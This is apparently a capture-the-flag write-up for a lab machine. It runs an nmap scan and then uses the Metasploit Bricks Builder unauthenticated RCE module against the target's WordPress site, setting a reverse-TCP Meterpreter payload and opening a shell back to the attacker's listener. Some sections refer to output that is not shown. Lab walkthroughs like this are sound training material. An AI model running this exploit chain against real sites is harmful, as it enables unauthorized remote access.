┌──(kali㉿kali)-[~]
└─$ sudo nmap -sS -T4 -p- 10.10.212.66
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-03 13:36 EEST
Nmap scan report for bricks.thm (10.10.212.66)
Host is up (0.13s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
3306/tcp open mysql
Nmap done: 1 IP address (1 host up) scanned in 482.02 seconds
1b - Versioning and OS fingerprinting
We can see that Apache is running on port 443, and that Wordpress is installed on that server.
1c - Vulners
Nothing interesting in the above output
2 - Wordpress (443)
This is very interesting: a very recent unauthd RCE vulnerability has been detected on the target server.
Something very annoying is happening: every time I try to spawn a shell using meterpreter, or try to execute any command on the target machine, the meterpreter session dies.
That is why I chose to go with another exploit implementation:
4 - Looking around
We are supposed to find the name of a suspicious process. ps-aux does not give any useful info. However, if we list services, we find: (grepping because output is too huge without it)
The above outputs the name of a service, not the process that is executec by this service:
msf6 > search bricks
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/wp_bricks_builder_rce 2024-02-19 excellent Yes Unauthenticated RCE in Bricks Builder Theme
1 \_ target: Automatic . . . .
2 \_ target: PHP In-Memory . . . .
3 \_ target: Unix In-Memory . . . .
4 \_ target: Windows In-Memory . . . .
Interact with a module by name or index. For example info 4, use 4 or use exploit/multi/http/wp_bricks_builder_rce
After interacting with a module you can manually set a TARGET with set TARGET 'Windows In-Memory'
msf6 > use 1
[*] Additionally setting TARGET => Automatic
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(multi/http/wp_bricks_builder_rce) > show options
Module options (exploit/multi/http/wp_bricks_builder_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using
-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/wp_bricks_builder_rce) > set LHOST 10.11.85.12
LHOST => 10.11.85.12
msf6 exploit(multi/http/wp_bricks_builder_rce) > set RHOSTS bricks.thm
RHOST => bricks.thm
msf6 exploit(multi/http/wp_bricks_builder_rce) > set RPORT 443
RPORT => 443
msf6 exploit(multi/http/wp_bricks_builder_rce) > set SSL true
[!] Changing the SSL option's value may require changing RPORT!
SSL => true
msf6 exploit(multi/http/wp_bricks_builder_rce) > run
[*] Started reverse TCP handler on 10.11.85.12:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[-] Exploit aborted due to failure: unknown: Cannot reliably check exploitability. WordPress does not appear to be online. "set ForceExploit true" to override check result.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/http/wp_bricks_builder_rce) > set RHOSTS 10.10.239.202
RHOSTS => 10.10.239.202
msf6 exploit(multi/http/wp_bricks_builder_rce) > run
[*] Started reverse TCP handler on 10.11.85.12:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] WordPress Version: 6.5
[+] Detected Bricks Builder theme version: 1.9.5
[+] The target appears to be vulnerable.
[+] Nonce retrieved: 964a6e9b87
[*] Sending stage (39927 bytes) to 10.10.239.202
[*] Meterpreter session 1 opened (10.11.85.12:4444 -> 10.10.239.202:46644) at 2024-05-04 09:18:09 +0300
meterpreter >
